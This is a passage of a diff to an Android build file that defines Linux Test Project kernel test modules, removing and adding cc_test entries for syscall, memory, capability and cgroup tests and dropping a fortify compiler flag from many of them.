-cc_test {
-    name: "ltp_crash01",
-    stem: "crash01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/misc/crash/crash01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_chroot03",
-    stem: "chroot03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/chroot/chroot03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_chroot02",
-    stem: "chroot02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/chroot/chroot02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_chroot01",
-    stem: "chroot01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/chroot/chroot01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_timer_delete02",
-    stem: "timer_delete02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/timers/timer_delete/timer_delete02.c"],
+    srcs: ["testcases/network/can/filter-tests/can_rcv_own_msgs.c"],
     cflags: [
-        "-D_GNU_SOURCE",
-        "-D_FORTIFY_SOURCE=2",
+        "-DETH_P_CAN=0x000C",
+        "-DPF_CAN=29",
+        "-DAF_CAN=PF_CAN",
     ],
-    local_include_dirs: [
-        "testcases/kernel/timers/include",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_adjtimex01",
-    stem: "adjtimex01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/adjtimex/adjtimex01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_keyctl08",
-    stem: "keyctl08",
+    name: "ltp_cap_bounds_r",
+    stem: "cap_bounds_r",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/keyctl/keyctl08.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/kernel/security/cap_bound/cap_bounds_r.c"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_adjtimex02",
-    stem: "adjtimex02",
+    name: "ltp_cap_bounds_rw",
+    stem: "cap_bounds_rw",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/adjtimex/adjtimex02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/kernel/security/cap_bound/cap_bounds_rw.c"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_fallocate01",
-    stem: "fallocate01",
+    name: "ltp_cap_bset_inh_bounds",
+    stem: "cap_bset_inh_bounds",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fallocate/fallocate01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/kernel/security/cap_bound/cap_bset_inh_bounds.c"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_readv01",
-    stem: "readv01",
+    name: "ltp_capget01",
+    stem: "capget01",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/readv/readv01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/kernel/syscalls/capget/capget01.c"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_keyctl03",
-    stem: "keyctl03",
+    name: "ltp_capget02",
+    stem: "capget02",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/keyctl/keyctl03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/kernel/syscalls/capget/capget02.c"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_keyctl02",
-    stem: "keyctl02",
+    name: "ltp_capset01",
+    stem: "capset01",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/keyctl/keyctl02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_keyctl05",
-    stem: "keyctl05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/keyctl/keyctl05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_timerfd_create01",
-    stem: "timerfd_create01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/timerfd/timerfd_create01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_genbessel",
-    stem: "genbessel",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/misc/math/float/bessel/genbessel.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_keyctl06",
-    stem: "keyctl06",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/keyctl/keyctl06.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_oom05",
-    stem: "oom05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/oom/oom05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/mem/include",
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_mem",
-        "libltp_kerntest",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_oom01",
-    stem: "oom01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/oom/oom01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/mem/include",
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_mem",
-        "libltp_kerntest",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_quotactl03",
-    stem: "quotactl03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/quotactl/quotactl03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_open12_child",
-    stem: "open12_child",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/open/open12_child.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_flistxattr02",
-    stem: "flistxattr02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/flistxattr/flistxattr02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_oom03",
-    stem: "oom03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/oom/oom03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/mem/include",
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_mem",
-        "libltp_kerntest",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_mmapstress03",
-    stem: "mmapstress03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/mmapstress/mmapstress03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_oom02",
-    stem: "oom02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/oom/oom02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/mem/include",
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_mem",
-        "libltp_kerntest",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_mmapstress02",
-    stem: "mmapstress02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/mmapstress/mmapstress02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_pids_task1",
-    stem: "pids_task1",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/controllers/pids/pids_task1.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/controllers/libcontrollers",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sysinfo01",
-    stem: "sysinfo01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sysinfo/sysinfo01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_pids_task2",
-    stem: "pids_task2",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/controllers/pids/pids_task2.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/controllers/libcontrollers",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_umask01",
-    stem: "umask01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/umask/umask01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_oom04",
-    stem: "oom04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/oom/oom04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/mem/include",
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_mem",
-        "libltp_kerntest",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_getxattr03",
-    stem: "getxattr03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getxattr/getxattr03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_getsockopt02",
-    stem: "getsockopt02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getsockopt/getsockopt02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_getsockopt01",
-    stem: "getsockopt01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getsockopt/getsockopt01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_gensin",
-    stem: "gensin",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/misc/math/float/trigo/gensin.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_getxattr04",
-    stem: "getxattr04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getxattr/getxattr04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_getpid02",
-    stem: "getpid02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getpid/getpid02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_getpid01",
-    stem: "getpid01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getpid/getpid01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sysinfo02",
-    stem: "sysinfo02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sysinfo/sysinfo02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_memcmp01",
-    stem: "memcmp01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/memcmp/memcmp01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mmapstress06",
-    stem: "mmapstress06",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/mmapstress/mmapstress06.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setxattr03",
-    stem: "setxattr03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setxattr/setxattr03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_gentrigo",
-    stem: "gentrigo",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/misc/math/float/trigo/gentrigo.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_setxattr01",
-    stem: "setxattr01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setxattr/setxattr01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_utime02",
-    stem: "utime02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/utime/utime02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_preadv01",
-    stem: "preadv01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/preadv/preadv01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/preadv",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mlock03",
-    stem: "mlock03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mlock/mlock03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_preadv02",
-    stem: "preadv02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/preadv/preadv02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/preadv",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_utime05",
-    stem: "utime05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/utime/utime05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_getcpu01",
-    stem: "getcpu01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getcpu/getcpu01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fanotify07",
-    stem: "fanotify07",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fanotify/fanotify07.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/kernel/syscalls/capset/capset01.c"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
@@ -6790,210 +618,335 @@
     stem: "capset02",
     defaults: ["ltp_test_defaults"],
     srcs: ["testcases/kernel/syscalls/capset/capset02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_epoll_wait01",
-    stem: "epoll_wait01",
+    name: "ltp_cgroup_fj_proc",
+    stem: "cgroup_fj_proc",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/epoll_wait/epoll_wait01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_tst_net_vars",
-    stem: "tst_net_vars",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/lib/tst_net_vars.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_epoll_wait03",
-    stem: "epoll_wait03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/epoll_wait/epoll_wait03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_epoll_wait02",
-    stem: "epoll_wait02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/epoll_wait/epoll_wait02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_utime06",
-    stem: "utime06",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/utime/utime06.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_event_generator",
-    stem: "event_generator",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/connectors/pec/event_generator.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_vma03",
-    stem: "vma03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/vma/vma03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/kernel/controllers/cgroup_fj/cgroup_fj_proc.c"],
     local_include_dirs: [
-        "testcases/kernel/mem/include",
-        "testcases/kernel/include",
+        "testcases/kernel/controllers/libcontrollers",
         "include/old",
     ],
-    static_libs: [
-        "libltp_mem",
-        "libltp_kerntest",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_pipe01",
-    stem: "pipe01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/pipe/pipe01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_mincore01",
-    stem: "mincore01",
+    name: "ltp_cgroup_regression_6_2",
+    stem: "cgroup_regression_6_2",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mincore/mincore01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_pipe03",
-    stem: "pipe03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/pipe/pipe03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_pipe02",
-    stem: "pipe02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/pipe/pipe02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_pipe05",
-    stem: "pipe05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/pipe/pipe05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_pipe04",
-    stem: "pipe04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/pipe/pipe04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_pipe07",
-    stem: "pipe07",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/pipe/pipe07.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_pipe06",
-    stem: "pipe06",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/pipe/pipe06.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_pipe09",
-    stem: "pipe09",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/pipe/pipe09.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_pipe08",
-    stem: "pipe08",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/pipe/pipe08.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_stress_cd",
-    stem: "stress_cd",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/io/stress_cd/stress_cd.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl21",
-    stem: "fcntl21",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl21.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
+    srcs: ["testcases/kernel/controllers/cgroup/cgroup_regression_6_2.c"],
     local_include_dirs: [
-        "testcases/kernel/syscalls/fcntl",
+        "testcases/kernel/controllers/libcontrollers",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_cgroup_regression_fork_processes",
+    stem: "cgroup_regression_fork_processes",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/controllers/cgroup/cgroup_regression_fork_processes.c"],
+    local_include_dirs: [
+        "testcases/kernel/controllers/libcontrollers",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_cgroup_regression_getdelays",
+    stem: "cgroup_regression_getdelays",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/controllers/cgroup/cgroup_regression_getdelays.c"],
+    local_include_dirs: [
+        "testcases/kernel/controllers/libcontrollers",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_cgroup_xattr",
+    stem: "cgroup_xattr",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/controllers/cgroup_xattr/cgroup_xattr.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_chdir01",
+    stem: "chdir01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/chdir/chdir01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_chdir02",
+    stem: "chdir02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/chdir/chdir02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_chdir03",
+    stem: "chdir03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/chdir/chdir03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_chdir04",
+    stem: "chdir04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/chdir/chdir04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_check_keepcaps",
+    stem: "check_keepcaps",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/security/securebits/check_keepcaps.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_check_pe",
+    stem: "check_pe",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/security/cap_bound/check_pe.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_check_simple_capset",
+    stem: "check_simple_capset",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/security/filecaps/check_simple_capset.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_chmod01",
+    stem: "chmod01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/chmod/chmod01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_chmod02",
+    stem: "chmod02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/chmod/chmod02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_chmod03",
+    stem: "chmod03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/chmod/chmod03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_chmod04",
+    stem: "chmod04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/chmod/chmod04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_chmod05",
+    stem: "chmod05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/chmod/chmod05.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_chmod07",
+    stem: "chmod07",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/chmod/chmod07.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_chown01",
+    stem: "chown01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/chown/chown01.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+        "testcases/kernel/syscalls/chown",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_chown01_16",
+    stem: "chown01_16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/chown/chown01.c"],
+    cflags: ["-DTST_USE_COMPAT16_SYSCALL=1"],
+    local_include_dirs: [
